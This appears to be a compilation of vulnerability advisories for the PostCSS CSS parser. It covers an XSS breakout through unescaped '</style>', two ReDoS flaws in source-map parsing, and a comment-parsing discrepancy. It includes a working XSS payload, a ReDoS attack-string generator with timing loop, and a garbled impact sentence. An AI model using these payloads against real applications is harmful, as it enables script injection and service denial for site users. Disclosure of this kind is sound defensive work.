postcss known bugs

# PostCSS: XSS via Unescaped `</style>` in CSS Stringify Output ## Summary PostCSS v8.5.5 (latest) does not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS. ## Proof of Concept ```javascript const postcss = require('postcss'); // Parse user CSS and re-stringify for page embedding const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }'; const ast = postcss.parse(userCSS); const output = ast.toResult().css; const html = `<style>${output}</style>`; console.log(html); // <style>body { content: "</style><script>alert(1)</script><style>"; }</style> // // Browser: </style> closes the style tag, <script> executes ``` **Tested output** (Node.js v22, postcss v8.5.5): ``` Input: body { content: "</style><script>alert(1)</script><style>"; } Output: body { content: "</style><script>alert(1)</script><style>"; } Contains </style>: true ``` ## Impact Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website. ## Suggested Fix Escape `</style` in all stringified output values: ```javascript output = output.replace(/<\/(style)/gi, '<\\/$1'); ``` ## Credits Discovered and reported by [Sunil Kumar](https://tharvid.in) ([@TharVid](https://github.com/TharVid))

The npm package `postcss` from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.

An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be `\r` discrepancies, as demonstrated by `@font-face{ font:(\r/*);}` in a rule. This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern ```regex \/\*\s* sourceMappingURL=(.*) ``` ### PoC ```js var postcss = require("postcss") function build_attack(n) { var ret = "a{}" for (var i = 0; i < n; i++) { ret += "/*# sourceMappingURL=" } return ret + "!"; } ``` ```js postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) { if (i % 1000 == 0) { var time = Date.now(); var attack_str = build_attack(i) try { postcss.parse(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } catch (e) { var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } } } ```